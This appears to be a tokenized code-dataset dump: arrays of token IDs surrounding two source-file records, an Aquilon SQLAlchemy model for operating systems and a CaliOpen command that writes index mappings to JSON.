20619,
11098,
6590,
314,
1561,
402,
2399,
8417,
199,
3,
257,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
642,
1736,
1928,
199,
3,
257,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
16429,
2901,
27072,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
16429,
2901,
27072,
6262,
7024,
2381,
1821,
8703,
12,
199,
3,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
199,
3,
5400,
2845,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
199,
3,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
199,
3,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
199,
3,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
3,
199,
3,
6642,
26,
199,
3,
260,
24157,
12,
869,
8035,
665,
2411,
19131,
14,
317,
32,
22264,
14,
957,
30,
199,
199,
646,
747,
199,
646,
2022,
199,
646,
5739,
199,
646,
984,
199,
646,
3778,
199,
199,
5441,
63,
3022,
275,
747,
14,
9458,
342,
199,
199,
318,
1331,
63,
1927,
8,
4600,
466,
304,
272,
862,
26,
267,
2022,
63,
493,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
298,
5768,
14,
1001,
531,
267,
340,
440,
747,
14,
515,
14,
2444,
8,
1001,
63,
493,
304,
288,
870,
2071,
83,
1630,
440,
2187,
2,
450,
2022,
63,
493,
288,
984,
14,
2224,
8,
17,
9,
398,
870,
298,
28375,
5241,
14,
1001,
26,
450,
83,
2,
450,
2022,
63,
493,
267,
870,
298,
28375,
257,
5496,
730,
26,
450,
83,
2,
450,
5496,
466,
398,
5241,
63,
1001,
275,
488,
267,
5496,
63,
1001,
275,
488,
267,
862,
26,
288,
543,
1551,
8,
1001,
63,
493,
12,
298,
2591,
531,
465,
5241,
63,
1001,
63,
493,
26,
355,
5241,
63,
1001,
63,
1773,
275,
5241,
63,
1001,
63,
493,
14,
739,
342,
355,
5241,
63,
1001,
63,
493,
14,
1600,
342,
355,
5241,
63,
1001,
275,
2022,
14,
3640,
8,
5768,
63,
1001,
63,
1773,
9,
267,
871,
2186,
465,
325,
26,
288,
870,
298,
4874,
370,
1586,
2022,
570,
26,
450,
83,
12,
4458,
21742,
450,
2022,
63,
493,
288,
984,
14,
2224,
8,
17,
9,
398,
1006,
63,
4600,
63,
875,
275,
5241,
63,
1001,
905,
4600,
13,
513,
4140,
1612,
342,
267,
367,
284,
63,
4600,
315,
1006,
63,
4600,
63,
875,
26,
288,
284,
63,
4600,
63,
513,
275,
284,
63,
4600,
14,
1913,
1252,
1294,
20324,
288,
340,
5496,
466,
315,
284,
63,
4600,
63,
513,
26,
355,
5496,
63,
1001,
275,
5241,
63,
1001,
905,
4600,
13,
513,
9210,
73,
63,
4600,
61,
267,
340,
5496,
63,
1001,
365,
488,
26,
288,
870,
298,
1944,
450,
83,
730,
1101,
315,
450,
83,
2,
450,
334,
4600,
466,
12,
2022,
63,
493,
9,
398,
327,
2559,
1331,
513,
267,
340,
298,
1574,
513,
2,
315,
5496,
63,
1001,
26,
288,
2446,
63,
1574,
513,
275,
5496,
63,
1001,
905,
1574,
513,
937,
288,
367,
284,
63,
83,
63,
498,
315,
2446,
63,
1574,
513,
14,
1612,
837,
355,
2928,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
284,
63,
83,
63,
498,
680,
1814,
480,
6961,
13,
9731,
13,
5441,
401,
298,
9707,
2537,
531,
355,
2053,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
2446,
63,
1574,
513,
59,
73,
63,
83,
63,
498,
566,
355,
3778,
14,
1117,
5116,
8,
2164,
63,
515,
12,
2053,
63,
515,
9,
398,
327,
5496,
13,
571,
1331,
513,
267,
340,
298,
4600,
13,
571,
2,
315,
5496,
63,
1001,
26,
288,
5496,
63,
571,
63,
1001,
275,
5496,
63,
1001,
905,
4600,
13,
571,
937,
288,
340,
298,
1574,
513,
2,
315,
5496,
63,
571,
63,
1001,
26,
355,
5496,
63,
571,
63,
1574,
513,
275,
5496,
63,
571,
63,
1001,
905,
1574,
513,
937,
355,
367,
284,
63,
83,
63,
498,
315,
5496,
63,
571,
63,
1574,
513,
14,
1612,
837,
490,
2928,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
284,
63,
83,
63,
498,
680,
1814,
480,
6961,
13,
9731,
13,
5441,
401,
298,
9707,
2537,
531,
490,
2053,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
5496,
63,
571,
63,
1574,
513,
59,
73,
63,
83,
63,
498,
566,
490,
3778,
14,
1117,
5116,
8,
2164,
63,
515,
12,
2053,
63,
515,
9,
398,
327,
1007,
571,
13,
513,
1331,
513,
267,
340,
298,
954,
571,
13,
513,
2,
315,
5496,
63,
1001,
26,
288,
1007,
571,
63,
513,
63,
1001,
275,
5496,
63,
1001,
905,
954,
571,
13,
513,
937,
288,
367,
1007,
571,
63,
495,
315,
1007,
571,
63,
513,
63,
1001,
14,
1612,
837,
355,
1007,
571,
63,
1001,
275,
1007,
571,
63,
513,
63,
1001,
59,
954,
571,
63,
495,
61,
355,
1007,
571,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
0
] |
[
1,
1,
1,
1,
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quilon
|
lib/aquilon/aqdb/model/operating_system.py
|
1
|
2257
|
# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*-
# ex: set expandtab softtabstop=4 shiftwidth=4:
#
# Copyright (C) 2009,2010,2011,2012,2013,2014,2016 Contributor
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" Operating System as a high level cfg object """
from datetime import datetime
from sqlalchemy import (Column, Integer, DateTime, Sequence, String, ForeignKey,
UniqueConstraint)
from sqlalchemy.orm import relation, deferred
from aquilon.aqdb.model import Base, Archetype, AssetLifecycle
from aquilon.aqdb.column_types.aqstr import AqStr
_TN = 'operating_system'
class OperatingSystem(Base):
""" Operating Systems """
__tablename__ = _TN
_class_label = 'Operating System'
id = Column(Integer, Sequence('%s_id_seq' % _TN), primary_key=True)
name = Column(AqStr(32), nullable=False)
version = Column(AqStr(16), nullable=False)
archetype_id = Column(ForeignKey(Archetype.id, ondelete="CASCADE"),
nullable=False)
creation_date = deferred(Column(DateTime, default=datetime.now,
nullable=False))
comments = Column(String(255), nullable=True)
lifecycle_id = Column(ForeignKey(AssetLifecycle.id), nullable=False)
archetype = relation(Archetype, lazy=False, innerjoin=True)
lifecycle = relation(AssetLifecycle, innerjoin=True)
__table_args__ = (UniqueConstraint(archetype_id, name, version),
{'info': {'unique_fields': ['name', 'version',
'archetype']}})
def __format__(self, format_spec):
instance = "%s/%s-%s" % (self.archetype.name, self.name, self.version)
return self.format_helper(format_spec, instance)
|
apache-2.0
|
[
3,
1882,
286,
647,
13,
3724,
13,
1896,
26,
841,
27,
4363,
13,
8741,
13,
632,
26,
32644,
1882,
199,
3,
444,
26,
663,
26414,
25966,
29,
20,
20105,
29,
20,
26,
199,
3,
199,
3,
1898,
334,
35,
9,
8937,
12,
6542,
12,
8128,
12,
7409,
12,
6965,
12,
7280,
12,
9261,
221,
17636,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
624,
6654,
1958,
6187,
465,
282,
4721,
2166,
4810,
909,
408,
199,
504,
2197,
492,
2197,
199,
199,
504,
8335,
492,
334,
4547,
12,
7225,
12,
13686,
12,
10975,
12,
2624,
12,
12718,
12,
717,
18276,
8463,
9,
199,
504,
8335,
14,
1025,
492,
5850,
12,
12309,
199,
199,
504,
282,
392,
382,
265,
14,
30030,
697,
14,
1238,
492,
3523,
12,
1952,
595,
466,
12,
25670,
44,
692,
29816,
2265,
199,
504,
282,
392,
382,
265,
14,
30030,
697,
14,
2301,
63,
1313,
14,
30030,
495,
492,
437,
81,
2848,
199,
199,
63,
52,
46,
275,
283,
2262,
1958,
63,
2253,
7,
421,
199,
533,
6654,
1958,
3989,
8,
1563,
304,
272,
408,
6654,
1958,
15285,
408,
272,
636,
10983,
363,
275,
485,
52,
46,
272,
485,
533,
63,
1302,
275,
283,
23699,
6187,
7,
339,
1305,
275,
4996,
8,
2674,
12,
10975,
3508,
83,
63,
344,
63,
3610,
7,
450,
485,
52,
46,
395,
5062,
63,
498,
29,
549,
9,
272,
536,
275,
4996,
8,
33,
81,
2848,
8,
708,
395,
7854,
29,
797,
9,
272,
1015,
275,
4996,
8,
33,
81,
2848,
8,
975,
395,
7854,
29,
797,
9,
272,
601,
595,
466,
63,
344,
275,
4996,
8,
3190,
8,
1596,
595,
466,
14,
344,
12,
16549,
628,
10855,
1288,
2079,
7854,
29,
797,
9,
272,
7143,
63,
602,
275,
12309,
8,
4547,
8,
3926,
12,
849,
29,
2083,
14,
2131,
12,
2511,
7854,
29,
797,
430,
272,
6786,
275,
4996,
8,
1558,
8,
2299,
395,
7854,
29,
549,
9,
339,
15451,
7612,
63,
344,
275,
4996,
8,
3190,
8,
19979,
44,
692,
29816,
2265,
14,
344,
395,
7854,
29,
797,
9,
339,
601,
595,
466,
275,
5850,
8,
1596,
595,
466,
12,
9617,
29,
797,
12,
6506,
904,
29,
549,
9,
339,
15451,
7612,
275,
5850,
8,
19979,
44,
692,
29816,
2265,
12,
6506,
904,
29,
549,
9,
339,
636,
1224,
63,
589,
363,
275,
334,
11427,
8463,
8,
285,
595,
466,
63,
344,
12,
536,
12,
1015,
395,
1993,
791,
815,
356,
791,
3235,
63,
955,
356,
788,
354,
297,
283,
1023,
297,
8179,
283,
285,
595,
466,
12074,
1552,
339,
347,
636,
908,
721,
277,
12,
1475,
63,
1650,
304,
267,
1256,
275,
2071,
83,
3149,
83,
3295,
83,
2,
450,
334,
277,
14,
285,
595,
466,
14,
354,
12,
291,
14,
354,
12,
291,
14,
1023,
9,
267,
372,
291,
14,
908,
63,
3676,
8,
908,
63,
1650,
12,
1256,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
286,
647,
13,
3724,
13,
1896,
26,
841,
27,
4363,
13,
8741,
13,
632,
26,
32644,
1882,
199,
3,
444,
26,
663,
26414,
25966,
29,
20,
20105,
29,
20,
26,
199,
3,
199,
3,
1898,
334,
35,
9,
8937,
12,
6542,
12,
8128,
12,
7409,
12,
6965,
12,
7280,
12,
9261,
221,
17636,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
624,
6654,
1958,
6187,
465,
282,
4721,
2166,
4810,
909,
408,
199,
504,
2197,
492,
2197,
199,
199,
504,
8335,
492,
334,
4547,
12,
7225,
12,
13686,
12,
10975,
12,
2624,
12,
12718,
12,
717,
18276,
8463,
9,
199,
504,
8335,
14,
1025,
492,
5850,
12,
12309,
199,
199,
504,
282,
392,
382,
265,
14,
30030,
697,
14,
1238,
492,
3523,
12,
1952,
595,
466,
12,
25670,
44,
692,
29816,
2265,
199,
504,
282,
392,
382,
265,
14,
30030,
697,
14,
2301,
63,
1313,
14,
30030,
495,
492,
437,
81,
2848,
199,
199,
63,
52,
46,
275,
283,
2262,
1958,
63,
2253,
7,
421,
199,
533,
6654,
1958,
3989,
8,
1563,
304,
272,
408,
6654,
1958,
15285,
408,
272,
636,
10983,
363,
275,
485,
52,
46,
272,
485,
533,
63,
1302,
275,
283,
23699,
6187,
7,
339,
1305,
275,
4996,
8,
2674,
12,
10975,
3508,
83,
63,
344,
63,
3610,
7,
450,
485,
52,
46,
395,
5062,
63,
498,
29,
549,
9,
272,
536,
275,
4996,
8,
33,
81,
2848,
8,
708,
395,
7854,
29,
797,
9,
272,
1015,
275,
4996,
8,
33,
81,
2848,
8,
975,
395,
7854,
29,
797,
9,
272,
601,
595,
466,
63,
344,
275,
4996,
8,
3190,
8,
1596,
595,
466,
14,
344,
12,
16549,
628,
10855,
1288,
2079,
7854,
29,
797,
9,
272,
7143,
63,
602,
275,
12309,
8,
4547,
8,
3926,
12,
849,
29,
2083,
14,
2131,
12,
2511,
7854,
29,
797,
430,
272,
6786,
275,
4996,
8,
1558,
8,
2299,
395,
7854,
29,
549,
9,
339,
15451,
7612,
63,
344,
275,
4996,
8,
3190,
8,
19979,
44,
692,
29816,
2265,
14,
344,
395,
7854,
29,
797,
9,
339,
601,
595,
466,
275,
5850,
8,
1596,
595,
466,
12,
9617,
29,
797,
12,
6506,
904,
29,
549,
9,
339,
15451,
7612,
275,
5850,
8,
19979,
44,
692,
29816,
2265,
12,
6506,
904,
29,
549,
9,
339,
636,
1224,
63,
589,
363,
275,
334,
11427,
8463,
8,
285,
595,
466,
63,
344,
12,
536,
12,
1015,
395,
1993,
791,
815,
356,
791,
3235,
63,
955,
356,
788,
354,
297,
283,
1023,
297,
8179,
283,
285,
595,
466,
12074,
1552,
339,
347,
636,
908,
721,
277,
12,
1475,
63,
1650,
304,
267,
1256,
275,
2071,
83,
3149,
83,
3295,
83,
2,
450,
334,
277,
14,
285,
595,
466,
14,
354,
12,
291,
14,
354,
12,
291,
14,
1023,
9,
267,
372,
291,
14,
908,
63,
3676,
8,
908,
63,
1650,
12,
1256,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
CaliOpen/CaliOpen
|
src/backend/tools/py.CLI/caliopen_cli/commands/dump_indexes_mappings.py
|
1
|
1108
|
import json
from caliopen_storage.helpers.json import JSONEncoder
def dump_indexes(**kwargs):
# Discover base core classes
from caliopen_main.user.core import User
from caliopen_main.contact.objects.contact import Contact
from caliopen_main.message.objects.message import Message
from caliopen_main.common.objects.tag import ResourceTag
from caliopen_storage.core import core_registry
_exports = {
'contact': ['Contact'],
'message': ['Message'],
}
for keys in _exports:
for obj in _exports[keys]:
kls = core_registry.get(obj)
if not kls:
raise Exception('core class %s not found in registry' % obj)
output_file = '%s/%s.json' % (kwargs["output_path"], obj.lower())
dump_index_mapping(kls._index_class, output_file)
def dump_index_mapping(kls, output_file):
"""Output the json definition class."""
m = kls.build_mapping().to_dict()
with open(output_file, 'w') as f:
f.write(json.dumps(m, cls=JSONEncoder,
indent=4, sort_keys=True))
|
gpl-3.0
|
[
646,
2022,
199,
504,
3213,
73,
1490,
63,
3494,
14,
7546,
14,
1001,
492,
4840,
6679,
421,
199,
318,
5461,
63,
10116,
3682,
958,
304,
272,
327,
5289,
5899,
1300,
6170,
3992,
272,
687,
3213,
73,
1490,
63,
973,
14,
751,
14,
1018,
492,
2876,
272,
687,
3213,
73,
1490,
63,
973,
14,
7811,
14,
1462,
14,
7811,
492,
18684,
272,
687,
3213,
73,
1490,
63,
973,
14,
1188,
14,
1462,
14,
1188,
492,
6430,
272,
687,
3213,
73,
1490,
63,
973,
14,
2330,
14,
1462,
14,
1450,
492,
7337,
1931,
272,
687,
3213,
73,
1490,
63,
3494,
14,
1018,
492,
6170,
63,
5189,
272,
485,
20775,
275,
469,
267,
283,
7811,
356,
788,
14499,
995,
267,
283,
1188,
356,
788,
2209,
995,
272,
789,
272,
367,
2883,
315,
485,
20775,
26,
267,
367,
1559,
315,
485,
20775,
59,
1612,
2189,
288,
1022,
478,
275,
6170,
63,
5189,
14,
362,
8,
1113,
9,
288,
340,
440,
1022,
478,
26,
355,
746,
2186,
360,
1018,
1021,
450,
83,
440,
1911,
315,
7086,
7,
450,
1559,
9,
288,
1072,
63,
493,
275,
1543,
83,
3149,
83,
14,
1001,
7,
450,
334,
958,
905,
1199,
63,
515,
2255,
1559,
14,
2325,
1012,
288,
5461,
63,
1080,
63,
4745,
8,
75,
478,
423,
1080,
63,
533,
12,
1072,
63,
493,
9,
421,
199,
318,
5461,
63,
1080,
63,
4745,
8,
75,
478,
12,
1072,
63,
493,
304,
272,
408,
2959,
314,
2022,
5492,
221,
1021,
1041,
339,
333,
275,
1022,
478,
14,
1506,
63,
4745,
1252,
475,
63,
807,
342,
272,
543,
1551,
8,
1199,
63,
493,
12,
283,
87,
358,
465,
289,
26,
267,
289,
14,
952,
8,
1001,
14,
4180,
8,
77,
12,
843,
29,
23069,
12,
2574,
4363,
29,
20,
12,
4069,
63,
1612,
29,
549,
430,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
